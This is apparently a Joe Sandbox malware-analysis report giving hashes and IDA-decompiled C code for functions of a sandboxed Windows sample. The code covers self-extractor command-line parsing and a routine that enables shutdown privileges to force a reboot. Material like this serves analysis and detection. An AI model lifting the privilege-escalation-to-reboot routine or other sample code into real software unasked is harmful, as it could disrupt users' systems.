Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: b2a0d24026078d680fa0ee4823844cca5749e6aee68ee81940a9dc265bc58817
Instruction ID: 48bf8b38bb1ee1e9294c63d40cfbfc9435cea2e0aa12b4b58f00933a0f441f48
Opcode Fuzzy Hash: b2a0d24026078d680fa0ee4823844cca5749e6aee68ee81940a9dc265bc58817
Instruction Fuzzy Hash: 1EF082B1744208ABEB50FF749D06FFE77ACDB54700F4004AAB986DA191ED789D44A750

Uniqueness

Uniqueness Score: -1.00%

Function 00F84B60 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F84B60(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0xf88d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0xf88d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0xf88d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0xf88d60)) = 1;
				 *((intOrPtr*)(_t15 + 0xf88d68)) = 0;
				 *((intOrPtr*)(_t15 + 0xf88d70)) = 0;
				 *((intOrPtr*)(_t15 + 0xf88d6c)) = 0;
				return 0;
			}

0x00f84b66
0x00f84b74
0x00f84b98
0x00f84ba0
0x00000000
0x00f84bac
0x00f84ba4
0x00000000
0x00f84ba4
0x00f84b78
0x00f84b7e
0x00f84b84
0x00f84b8a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,00F84FA1,00000000), ref: 00F84B98

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: d1cfb9609e057179b18baa7727f77f7144c6e45b0416605691bb80c0c994a52e
Instruction ID: 65394b9ebd2cb5263d3f6b7a779efc780a38a34a9a7aca0aebe99d9ce0dcf97a
Opcode Fuzzy Hash: d1cfb9609e057179b18baa7727f77f7144c6e45b0416605691bb80c0c994a52e
Instruction Fuzzy Hash: E6F01932D40B099E8772DF79CC016D2BBE4EAD53E0350092EA46ED2191EB30A542FBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00F866AE Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F866AE(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x00f866b1
0x00f866ba
0x00f866c7
0x00f866bc
0x00f866be
0x00f866be

APIs

GetFileAttributesA.KERNELBASE(?,00F84777,?,00F84E38,?), ref: 00F866B1

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4a882d498f73a73c30f3b3f7841c692236e43da224ee1421fee2580fde95b9fa
Instruction ID: f8394646367cd87c14a98acb2c54106737f66a7db714fdeb3e836cd0e731b044
Opcode Fuzzy Hash: 4a882d498f73a73c30f3b3f7841c692236e43da224ee1421fee2580fde95b9fa
Instruction Fuzzy Hash: C7B09276622484426A2016316C295A63841F6C123A7E41B91F032C01E0DA3EC846E204

Uniqueness

Uniqueness Score: -1.00%

Function 00F84CA0 Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F84CA0(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x00f84caa
0x00f84cb1

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00F84CAA

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: d111df0f163a4943a9a33bd17f7f1068d309b910c6c0aaaba0c052e0c28cb58d
Instruction ID: 76b02aa4ffab6dc0fcd00c1c33d622c7b0d824558ee42fac5c8d1a0ba3af19f2
Opcode Fuzzy Hash: d111df0f163a4943a9a33bd17f7f1068d309b910c6c0aaaba0c052e0c28cb58d
Instruction Fuzzy Hash: 7DB0123214420CB7DF001FC2EC09FD53F1DE7C4761F240041F60C450508A7294109796

Uniqueness

Uniqueness Score: -1.00%

Function 00F84CC0 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F84CC0(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x00f84cc8
0x00f84ccf

APIs

GlobalFree.KERNEL32 ref: 00F84CC8

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 821e44d9dcacae2e35d4cd69b95fea99c3e0892e2bb25ab91cc93a2dcb048d54
Instruction ID: 4d5319bb4e46c9206b2b26146e1d0db56b6b5eaa1c9cfe98547632b1404dd396
Opcode Fuzzy Hash: 821e44d9dcacae2e35d4cd69b95fea99c3e0892e2bb25ab91cc93a2dcb048d54
Instruction Fuzzy Hash: 62B0123100010CB78F001B42EC088953F1DD6C02607000051F50C451218B3398119685

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F85C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00F85C9E(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E00F86CE0(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E00F86E2A(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0xf88004; // 0x7e92e7a6
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E00F8597D( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E00F844B9(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0xf89124 = E00F86285();
									_t75 = 0;
								}
								return E00F86CE0(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E00F844B9(0, 0x521, 0xf81140, 0, 0x40, 0);
												_t85 =  *0xf88588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E00F8667F(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E00F8667F(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E00F85C17(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E00F81680(0xf88c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E00F8667F(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E00F8667F(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0xf88a24 = 1;
												}
												goto L50;
											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
															_t202 =  &_v276;
															_v276 = _t170;
															if(E00F85C17(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0xf88b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0xf88a3a;
																}
																E00F81680(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E00F8658A(_t218, 0x104, 0xf81140);
																if(E00F831E0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0xf88a2c = 1;
																		} else {
																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0xf88a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0xf88a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0xf88a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0xf88a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0xf89a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0xf89a2c =  *0xf89a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0xf88d48 =  *0xf88d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0xf89a2c =  *0xf89a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0xf89a2c =  *0xf89a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0xf88d48 =  *0xf88d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0xf89a2c =  *0xf89a2c | 0x00000004;
																										L70:
																										 *0xf88a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0xf89a2c = 3;
																	 *0xf88a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0xf88a2c != 0 &&  *0xf88b3e == 0) {
						if(GetModuleFileNameA( *0xf89a3c, 0xf88b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E00F866C8(0xf88b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x00f85c9e
0x00f85ca9
0x00f85cb0
0x00f85cb3
0x00f85cb6
0x00f85cb7
0x00f85cb8
0x00f85cbd
0x00f86204
0x00f85ccb
0x00000000
0x00f85ccb
0x00f85cd3
0x00f85cd7
0x00f85cf4
0x00000000
0x00f85cf4
0x00f85cf8
0x00f85d00
0x00000000
0x00f85d06
0x00f85d06
0x00f85d0e
0x00f85d10
0x00f85d12
0x00f85d14
0x00f85d15
0x00f85d17
0x00f85d49
0x00000000
0x00000000
0x00000000
0x00000000
0x00f85d19
0x00f85d19
0x00f85d1d
0x00000000
0x00f85d3f
0x00f85d3f
0x00f85d4b
0x00f85d4b
0x00f85d4f
0x00f85d8d
0x00000000
0x00f85d93
0x00f85d93
0x00f85d9a
0x00f85d9d
0x00f85d9e
0x00000000
0x00f85d9e
0x00f85d51
0x00f85d5b
0x00f85d72
0x00f860fb
0x00f860fb
0x00f86207
0x00f8620a
0x00f8620b
0x00f8620e
0x00f86217
0x00f85d78
0x00f85d78
0x00f85d80
0x00f85d83
0x00f85d84
0x00000000
0x00f85d84
0x00f85d5d
0x00f85d5f
0x00f85d62
0x00f85d68
0x00f85d64
0x00f85d64
0x00f85d64
0x00000000
0x00f85d62
0x00f85d5b
0x00f85d4f
0x00f85d1d
0x00000000
0x00f85d9f
0x00f85d9f
0x00f85da5
0x00f85dab
0x00f85dba
0x00f86218
0x00f8621d
0x00f86220
0x00f86221
0x00f86229
0x00f86230
0x00f86247
0x00f8626a
0x00f86272
0x00f86249
0x00f86255
0x00f8625f
0x00f86264
0x00f86264
0x00f86284
0x00f85dc0
0x00f85dc0
0x00f85dca
0x00f85e22
0x00000000
0x00000000
0x00000000
0x00000000
0x00f85dcc
0x00f85dce
0x00f85e24
0x00f85e24
0x00f85e2c
0x00f85e47
0x00f85e4a
0x00f861d2
0x00f861e2
0x00f861e7
0x00f861ee
0x00f861f1
0x00f861f1
0x00f861f8
0x00f861f8
0x00f85e50
0x00f85e53
0x00f86109
0x00f8611f
0x00000000
0x00f86125
0x00f86137
0x00f8613a
0x00f8613c
0x00f8613e
0x00f8613e
0x00f86141
0x00f86141
0x00f86143
0x00f86144
0x00f8614a
0x00000000
0x00f86150
0x00f86152
0x00f8615c
0x00f86170
0x00f86172
0x00f8617c
0x00f86190
0x00f86190
0x00f86196
0x00f861a5
0x00000000
0x00f861ab
0x00f861b9
0x00f861c6
0x00f861c6
0x00f8617e
0x00f86180
0x00f8618a
0x00000000
0x00000000
0x00000000
0x00000000
0x00f8618a
0x00f8615e
0x00f86160
0x00f8616a
0x00000000
0x00000000
0x00000000
0x00000000
0x00f8616a
0x00f8615c
0x00f8614a
0x00f8610b
0x00f8610e
0x00f8610e
0x00000000
0x00f85e59
0x00f85e59
0x00f85e5c
0x00f8604f
0x00f86056
0x00000000
0x00f8605c
0x00f8606e
0x00f86071
0x00f86073
0x00f86075
0x00f86075
0x00f86078
0x00f86078
0x00f8607a
0x00f8607b
0x00f86081
0x00000000
0x00f86087
0x00f86087
0x00f8608d
0x00f8609c
0x00000000
0x00f860a2
0x00f860aa
0x00f860b2
0x00f860b7
0x00f860bd
0x00f860bf
0x00f860bf
0x00f860d6
0x00f860e0
0x00f860e7
0x00f860f5
0x00000000
0x00000000
0x00000000
0x00000000
0x00f860f5
0x00f8609c
0x00f86081
0x00f85e62
0x00f85e62
0x00f85e65
0x00f85fd3
0x00f85fe9
0x00000000
0x00f85fef
0x00f85fef
0x00f85ff7
0x00f85ffd
0x00f86003
0x00f86006
0x00f86011
0x00f86014
0x00f8603d
0x00f86016
0x00f86018
0x00f86019
0x00f8601b
0x00f86033
0x00f8601d
0x00f86020
0x00f86029
0x00f86022
0x00f86022
0x00f86022
0x00f86020
0x00f8601b
0x00f86042
0x00f86044
0x00f86046
0x00f8604a
0x00f85ff7
0x00f85fd5
0x00f85fd8
0x00f85fd8
0x00000000
0x00f85e6b
0x00f85e6b
0x00f85e6e
0x00f85f8b
0x00f85f99
0x00000000
0x00f85f9f
0x00f85fa7
0x00f85faf
0x00000000
0x00f85fb1
0x00f85fb3
0x00000000
0x00f85fb5
0x00f85fb7
0x00000000
0x00f85fb9
0x00000000
0x00f85fb9
0x00f85fb7
0x00f85fb3
0x00f85faf
0x00f85f8d
0x00f85f8d
0x00f85f8d
0x00f85f8f
0x00f85fc1
0x00f85fc1
0x00f85fc1
0x00000000
0x00f85e74
0x00f85e74
0x00f85e77
0x00f85ea0
0x00f85ebd
0x00f85f79
0x00000000
0x00f85f7f
0x00f85ec3
0x00f85ec3
0x00f85ecc
0x00f85ed4
0x00f85ed6
0x00f85edc
0x00f85edf
0x00f85eea
0x00f85eed
0x00f85f3f
0x00f85f40
0x00000000
0x00f85eef
0x00f85eef
0x00f85ef2
0x00f85f34
0x00f85ef4
0x00f85ef4
0x00f85ef7
0x00f85f2b
0x00000000
0x00f85ef9
0x00f85ef9
0x00f85efc
0x00f85f22
0x00000000
0x00f85efe
0x00f85eff
0x00f85f02
0x00f85f16
0x00f85f04
0x00f85f07
0x00f85f0d
0x00f85f46
0x00f85f46
0x00f85f09
0x00f85f09
0x00f85f09
0x00f85f07
0x00f85f02
0x00f85efc
0x00f85ef7
0x00f85ef2
0x00f85f4c
0x00f85f4e
0x00f85f50
0x00f85f54
0x00f85ed4
0x00f85ea2
0x00f85ea4
0x00f85eaf
0x00f85eaf
0x00000000
0x00f85e79
0x00f85e7d
0x00000000
0x00f85e83
0x00f85e83
0x00f85e83
0x00f85e85
0x00f85e85
0x00f85e8e
0x00000000
0x00f85e94
0x00000000
0x00f85e94
0x00f85e8e
0x00f85e7d
0x00f85e77
0x00f85e6e
0x00f85e65
0x00f85e5c
0x00000000
0x00000000
0x00000000
0x00f85dd0
0x00f85dd0
0x00f85dd0
0x00000000
0x00f85dd0
0x00f85dce
0x00f85dca
0x00f85dba
0x00000000
0x00f85d00
0x00f85dd9
0x00f85e04
0x00f861fe
0x00f85e0a
0x00f85e0c
0x00f85e17
0x00f85e17
0x00f85e04
0x00f86200
0x00f86200
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 00F85CEE
GetModuleFileNameA.KERNEL32(00F88B3E,00000104,00000000,?,?), ref: 00F85DFC
CharUpperA.USER32(?), ref: 00F85E3E
CharUpperA.USER32(-00000052), ref: 00F85EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 00F85F6F
CharUpperA.USER32(?), ref: 00F85FA7
CharUpperA.USER32(-0000004E), ref: 00F86008
CharUpperA.USER32(?), ref: 00F860AA
CloseHandle.KERNEL32(00000000,00F81140,00000000,00000040,00000000), ref: 00F861F1
ExitProcess.KERNEL32 ref: 00F861F8

Strings

", xrefs: 00F85D78
:, xrefs: 00F86118
RegServer, xrefs: 00F85F66
", xrefs: 00F8612D

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: e244199a395362455e24472f07b387b4f8f61a68e40eda09ad8a11c5431458f5
Instruction ID: 4be49d7b08efaafca0050c4b00601d8dd3bff84834d3d27bd47d0278601c40ec
Opcode Fuzzy Hash: e244199a395362455e24472f07b387b4f8f61a68e40eda09ad8a11c5431458f5
Instruction Fuzzy Hash: ABD17D72E08A585FDF35BB388C4C3F53BA1AB16B64F5401EAC486DA191D7748E86BF01

Uniqueness

Uniqueness Score: -1.00%

Function 00F81F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00F81F90(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0xf89a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0xf88004; // 0x7e92e7a6
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E00F844B9(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E00F86CE0(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E00F844B9(0, 0x522, 0xf81140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E00F81EA7(__ecx);
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x00f81f90
0x00f81f90
0x00f81f93
0x00f81f98
0x00f81fa4
0x00f81fa7
0x00f81fc5
0x00f81fcd
0x00f81fdb
0x00f81ee5
0x00f81eea
0x00f81ef1
0x00f81ef4
0x00f81f0c
0x00f81f2e
0x00f81f3a
0x00f81f46
0x00f81f4d
0x00f81f58
0x00f81f60
0x00f81f61
0x00f81f62
0x00f81f75
0x00f81f80
0x00f81f77
0x00f81f77
0x00000000
0x00f81f77
0x00f81f64
0x00f81f64
0x00000000
0x00f81f64
0x00f81f0e
0x00f81f0e
0x00f81f13
0x00f81f13
0x00f81f14
0x00f81f14
0x00f81f16
0x00f81f17
0x00f81f1a
0x00f81f1f
0x00f81f1f
0x00f81f86
0x00f81f8f
0x00f81fcf
0x00f81fd3
0x00000000
0x00f81fd3
0x00f81fa9
0x00f81fb4
0x00f81fbb
0x00f81fc3
0x00000000
0x00000000
0x00000000
0x00000000
0x00f81fc3
0x00f81f9a
0x00f81f9a
0x00f81fa2
0x00f81fd9
0x00f81fda
0x00000000
0x00000000
0x00000000
